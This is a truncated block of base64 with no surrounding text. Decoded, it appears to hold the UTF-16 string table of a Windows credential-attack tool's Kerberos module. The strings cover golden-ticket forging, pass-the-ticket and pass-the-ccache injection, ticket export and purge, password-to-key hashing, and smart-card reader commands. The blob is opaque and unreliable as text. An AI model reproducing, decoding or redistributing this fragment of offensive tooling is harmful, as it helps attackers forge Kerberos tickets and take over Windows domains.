AQQBzAGsAIABvAHIAIABnAGUAdAAgAFQARwBTACAAdABpAGMAawBlAHQAcwAAAAAAdABnAHQAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAHAAdQByAGcAZQAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAHAAdABjAAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABjAGwAaQBzAHQAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAASwBlAHIAYgBlAHIAbwBzACAAcABhAGMAawBhAGcAZQAgAG0AbwBkAHUAbABlAAAAKgAgAEQAaQByAGUAYwB0AG8AcgB5ADoAIAAnACUAcwAnAAoAAAAAACoALgBrAGkAcgBiAGkAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAdABrAHQAAABuAG8AYwBhAGMAaABlAAAAcgBjADQAAABkAGUAcwAAAGEAZQBzADIANQA2AAAAAABhAGUAcwAxADIAOAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAACAAIAAgACoAIABOAG8AQwBhAGMAaABlADoAIABlAHgAcABvAHIAdABlAGQAIAB0AGkAYwBrAGUAdAAgAG0AYQB5ACAAdgBhAHIAeQAgAHcAaQB0AGgAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAKACAAIAAgACoAIABUAEsAVAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABBAHQAIABsAGUAYQBzAHQAIAAvAHQAYQByAGcAZQB0ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAcgBlAHEAdQBpAHIAZQBkACAAKABlAGcAOgAgAC8AdABhAHIAZwBlAHQAOgBjAGkAZgBzAC8AcwBlAHIAdgBlAHIALgBsAGEAYgAuAGwAbwBjAGEAbAApAAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAlADAAOAB4AC0AbgBvAG4AYQBtAGUALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAawByAGIAdABnAHQAAAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAAAGkAZAAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAAGMAbABhAGkAbQBzAAAAAAByAG8AZABjAAAAAAAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgBHAHIAbwB1AHAAcwAgAEkAZAAgADoAIAAqAAAAJQB1ACAAAAAKAEUAeAB0AHIAYQAgAFMASQBEAHMAOgAgAAAACgBDAGwAYQBpAG0AcwAgACAAIAAgADoACgAAAAoAUwBlAHIAdgBpAGMAZQBLAGUAeQA6ACAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAAAAAAKAEcAbwBsAGQAZQBuACAAdABpAGMAawBlAHQAIABmAG8AcgAgACcAJQBzACAAQAAgACUAcwAnACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABzAHUAYgBtAGkAdAB0AGUAZAAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4ACgAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAQgBlAHIAQQBwAHAAXwBLAHIAYgBDAHIAZQBkACAAZQByAHIAbwByAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhAF8AcgBhAHcAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhAF8AcgBhAHcAIAA7ACAAQwBEAEwAbwBjAGEAdABlAEMAUwB5AHMAdABlAG0AIAA6ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAGMAbwB1AG4AdAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0ACAAbwByACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAAzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABBAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGYAaQBsAGUAbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAACwAAAA9AAAAfAAAAEMAbABhAGkAbQBzAFsAJQB1AF0ACgAAACAAIABTAG8AdQByAGMAZQBUAHkAcABlADoAIAAlAGgAdQAKAAAAAAAgACAARQBuAHQAcgBpAGUAcwBbACUAdQBdAAoAAAAAACAAIAAgACAASQBkADoAIAAlAHMACgAAACAAIAAgACAAWwBJAE4AVAA2ADQAIABdACAAJQBsAGwACgAAACAAIAAgACAAWwBVAEkATgBUADYANABdACAAJQB1AGwAbAAKAAAAAAAgACAAIAAgAFsAUwBUAFIASQBOAEcAXQAgACUAcwAKAAAAAAAgACAAIAAgAFsAQgBPAE8ATAAgACAAXQAgACUAMAAxADYAbABsAHgACgAAACAAIAAgACAAWwAhACUAaAB1ACEAXQAKAAAAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAKAAkAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAKAAkAIAAgACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAACgAJACAAIAAgACAAIAAAAAAAAAAKAAkAIAAgACAAVABpAGMAawBlAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAgADsAIABrAHYAbgBvACAAPQAgACUAdQAAAAAACQBbAC4ALgAuAF0AAAAAAG4AYQBtAGUAXwBjAGEAbgBvAG4AaQBjAGEAbABpAHoAZQAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAaQBuAHYAYQBsAGkAZAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAHAAcgBvAHgAeQAAAHAAcgBvAHgAaQBhAGIAbABlAAAAZgBvAHIAdwBhAHIAZABlAGQAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHR7e3R7aX10e2l9dHsAAAB7dHt7dHtpfXR7AAB9dHsAfX19fQAAAAB0e3t0e3t7dHsAAAB9fX19fX0AAH19fQB0e3t0ewAAAH10e3t0e2l9dHtvfX19dHsAAAAAfQAAAHR7e3t0e2l9dHsAAHt7dHtpfXR7b319fQAAAABvAAAAfX0AAHt0e2l9dHt7AAAAAHt0e2l9AAAAdHtpfQAAAAB0e299fQAAAHt0e2l9dHtvfX0AAG8AcABlAG4AAAAAAGMAbABvAHMAZQAAAGYAaQByAG0AdwBhAHIAZQAAAAAAaQBuAGYAbwAAAAAAYQBjAHIAAABBAEMAUgAgAE0AbwBkAHUAbABlAAAAAAB0AHIAYQBjAGUAAABPAHAAZQBuAGkAbgBnACAAQQBDAFIAIAAgADoAIAAAAEEAQwBTACAAQQBDAFIAMQAyADIAIAAwAAAAAABPAEsAIQAKAE8AcABlAG4AaQBuAGcAIABQAE4ANQAzADIAOgAgAAAATwBLACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBhAGMAcgBfAG8AcABlAG4AIAA7ACAAQQBsAHIAZQBhAGQAeQAgAG8AcABlAG4AZQBkACwAIABjAGwAbwBzAGUAIABpAHQAIABmAGkAcgBzAHQACgAAAEkAUwBPAC8ASQBFAEMAIAAxADQANAA0ADMAIABUAHkAcABlACAAQQAAAAAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAgAFQAeQBwAGUAIABCAAAAAABJAFMATwAgADEAOAAwADkAMgAAAEEAQwBSACAAZgBpAHIAbQB3AGEAcgBlADoAIAAlAC4AKgBTAAoAAAAAAAAAUABOADUAMwAyACAAYwBoAGkAcAAKACAAdgBlAHIAcwBpAG8AbgAgACAAIAAgADoAIAAwAHgAJQAwADIAeAAKACAAZgBpAHIAbQB3AGEAcgBlACAAIAAgADoAIAAlAGgAaAB1AC4AJQBoAGgAdQAKACAAcwB1AHAAcABvAHIAdAAgACAAIAAgADoAIAAAAAAAUgBGAFUAAABJAFMATwAvAEkARQBDACAAMQA0ADQANAAzACAAVAB5AHAAZQAgAEEAIAAtACAAMQAwADYAIABrAGIAcABzAAAARgBlAGwAaQBDAGEAIAAtACAAMgAxADIAIABrAGIAcABzAAAARgBlAGwAaQBDAGEAIAAtACAANAAyADQAIABrAGIAcABzAAAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAgAFQAeQBwAGUAIABCACAALQAgADEAMAA2ACAAawBiAHAAcwAAAEkAbgBuAG8AdgBpAHMAaQBvAG4AIABKAGUAdwBlAGwAIAAtACAAMQAwADYAIABrAGIAcABzAAAACgBUAGEAcgBnAGUAdAA6ACAAJQBoAGgAdQAgACgAMAB4ACUAMAAyAHgAIAAtACAAJQBzACkACgAAAAAATgBPAFQAIAAAAAAAIAAgAFMARQBOAFMAXwBSAEUAUwA6ACAAJQAwADIAeAAgACUAMAAyAHgACgAgACAAUwBFAEwAXwBSAEUAUwAgADoAIAAlADAAMgB4AAoAIAAgACAAIABVAEkARAAgACUAcwBjAG8AbQBwAGwAZQB0AGUACgAgACAAIAAgAFAASQBDAEMAIAAlAHMAYwBvAG0AcABsAGkAYQBuAHQAIAB3AGkAdABoACAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAtADQACgAgACAAIAAgAFAASQBDAEMAIAAlAHMAYwBvAG0AcABsAGkAYQBuAHQAIAB3AGkAdABoACAASQBTAE8ALwB